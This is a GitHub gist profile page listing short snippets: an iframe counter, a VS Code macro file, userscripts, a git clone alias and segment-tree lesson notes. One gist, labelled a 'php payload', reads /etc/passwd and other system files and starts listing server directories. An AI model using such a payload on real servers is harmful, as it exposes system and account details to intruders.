Skip to content

Instantly share code, notes, and snippets.

View GaurangTandon's full-sized avatar

Gaurang Tandon GaurangTandon

  • Blaze Today
  • India
  • 23:49 (UTC +05:30)
View GitHub Profile
@GaurangTandon
GaurangTandon / iframecounter.js
Created April 12, 2024 13:49
get the count of all iframes nested in a given window including the window itself
function getIframesCount(win) {
let count = 1; // self frame
for (let i = 0; i < win.frames.length; i++) {
count += getIframesCount(win.frames[i]);
}
return count;
}
@GaurangTandon
GaurangTandon / filemacro.js
Created August 23, 2022 06:27
for use with vscode macros extension
const vscode = require('vscode');
const gitExt = vscode.extensions.getExtension('vscode.git')?.exports;
const gitAPI = gitExt.getAPI(1);
module.exports.macroCommands = {
OpenContentScript: {
no: 1,
func: () => openFile("G:/textblaze/bono/chrome_extension/src/js/contentScript.js")
},
OpenReplacement: {
@GaurangTandon
GaurangTandon / index.php
Last active August 15, 2022 15:58
php payload to list dirs
<?php
echo file_get_contents("/etc/passwd");
echo "--------\n";
echo file_get_contents("/my_init");
echo "--------\n";
echo file_get_contents("/my_service");
echo "--------\n";
$inspection_dirs=array("", "tmp", "home");
@GaurangTandon
GaurangTandon / index.php
Created August 15, 2022 14:11
example php file
<?php echo 'hello'; ?>
// ==UserScript==
// @name Amp Fixer
// @match https://codedrills.io/contests/icpc-gwalior-pune-2020-regional-round/scoreboard
// ==/UserScript==
function fixer() {
const elms = document.querySelectorAll(".v-data-table__wrapper > table:nth-child(1) > tbody:nth-child(3) > tr > td:nth-child(3)");
for (const elm of [...elms]) {
const s = elm.innerText;
@GaurangTandon
GaurangTandon / clone-ssh.sh
Created February 14, 2021 06:49
Bash command to allow cloning via SSH with HTTPS URL
# place this in your aliases file
ghcl() {
prefix=$(echo -n $1 | sed 's|https://github.com/|[email protected]:|')
git clone "$prefix.git"
}
@GaurangTandon
GaurangTandon / close-ssh.user.js
Created February 14, 2021 06:46
Userscript to allow cloning with SSH directly from GitHub UI
// ==UserScript==
// @name SSH clone button
// @version 0.1
// @description For those who have SSH default in their repo
// @author Gaurang
// @match https://github.com/*/*
// @grant none
// ==/UserScript==
(function() {

Basic segtree (prerequisite)

Given n values a[1], ..., a[n], you entertain two types of queries:

  • point update: add x to the i-th value
  • range query: query minimum value of a[i] in the range l, r

LIVE CODE.

Simple lazy segtree

# Basic segtree (prerequisite)
Given n values `a[1], ..., a[n]`, you entertain two types of queries:
- point update: add `x` to the i-th value
- range query: query minimum value of `a[i]` in the range `l, r`
LIVE CODE.
# Simple lazy segtree
@GaurangTandon
GaurangTandon / questions.md
Last active October 22, 2020 04:07
Questions for Lazy Segtree Meet

Basic segtree (prerequisite)

Given n values a[1], ..., a[n], you entertain two types of queries:

  • point update: add x to the i-th value
  • range query: query minimum value of a[i] in the range l, r

Around 5 mins max. LIVE CODE.

Simple lazy segtree